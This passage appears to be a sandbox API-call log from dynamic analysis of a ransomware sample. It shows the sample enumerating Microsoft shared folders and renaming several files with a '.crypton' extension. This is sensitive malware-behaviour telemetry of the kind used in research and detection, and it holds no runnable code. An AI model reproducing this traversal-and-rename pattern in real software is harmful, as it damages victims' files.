ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf115a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.039] GetFileType (hFile=0x1a4) returned 0x1 [0162.044] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf115a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf115a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.045] GetFileType (hFile=0x1a4) returned 0x1 [0162.050] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf37700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf37700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.051] GetFileType (hFile=0x1a4) returned 0x1 [0162.056] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf37700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf37700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.057] GetFileType (hFile=0x1a4) returned 0x1 [0162.063] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf37700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf37700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.063] GetFileType (hFile=0x1a4) returned 0x1 [0162.067] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf5d860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf5d860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.069] GetFileType (hFile=0x1a4) returned 0x1 [0162.073] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf5d860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf5d860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.074] GetFileType (hFile=0x1a4) returned 0x1 [0162.078] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf5d860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf5d860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.079] GetFileType (hFile=0x1a4) returned 0x1 [0162.083] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf839c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf839c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.083] GetFileType (hFile=0x1a4) returned 0x1 [0162.089] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf839c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf839c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.095] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddfa9b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfa9b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.096] GetFileType (hFile=0x1a4) returned 0x1 [0162.100] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddfa9b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfa9b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.101] GetFileType (hFile=0x1a4) returned 0x1 [0162.105] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddfa9b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfa9b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.110] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xddfa9b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfa9b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.110] GetFileType (hFile=0x1a4) returned 0x1 [0162.115] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xddfcfc80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfcfc80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.115] GetFileType (hFile=0x190) returned 0x1 [0162.119] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xddfcfc80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfcfc80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.121] GetFileType (hFile=0x1a4) returned 0x1 [0162.125] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xddfcfc80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddfcfc80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.126] GetFileType (hFile=0x190) returned 0x1 [0162.131] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddff5de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddff5de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.132] GetFileType (hFile=0x1a4) returned 0x1 [0162.136] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xddff5de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddff5de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.139] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xddff5de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddff5de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.145] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde01bf40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde01bf40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.145] GetFileType (hFile=0x1a4) returned 0x1 [0162.151] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xde01bf40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde01bf40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.442] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF.crypton" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\office.odf.crypton"), dwFlags=0x2) returned 1 [0162.449] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xde2ef960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde2ef960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.455] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xde315ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde315ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.459] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xde315ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde315ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.466] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde315ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde315ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.475] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xde33bc20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde33bc20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.482] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde33bc20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde33bc20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.487] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xde361d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde361d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.492] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde361d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde361d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.497] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde361d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde361d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.502] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xde387ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde387ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.507] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xde387ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde387ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.531] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\VBE6EXT.OLB" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6\\vbe6ext.olb"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\VBE6EXT.OLB.crypton" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6\\vbe6ext.olb.crypton"), dwFlags=0x2) returned 1 [0162.539] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xde3d41a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde3d41a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.544] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xde3d41a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde3d41a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.549] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xde3fa300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde3fa300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.554] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xde3fa300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde3fa300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.559] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde3fa300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde3fa300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.563] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde420460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde420460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.566] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config.crypton" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config.crypton"), dwFlags=0x2) returned 1 [0162.572] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde420460, ftLastAccessTime.dwHighDateTime=0x1d5c259, 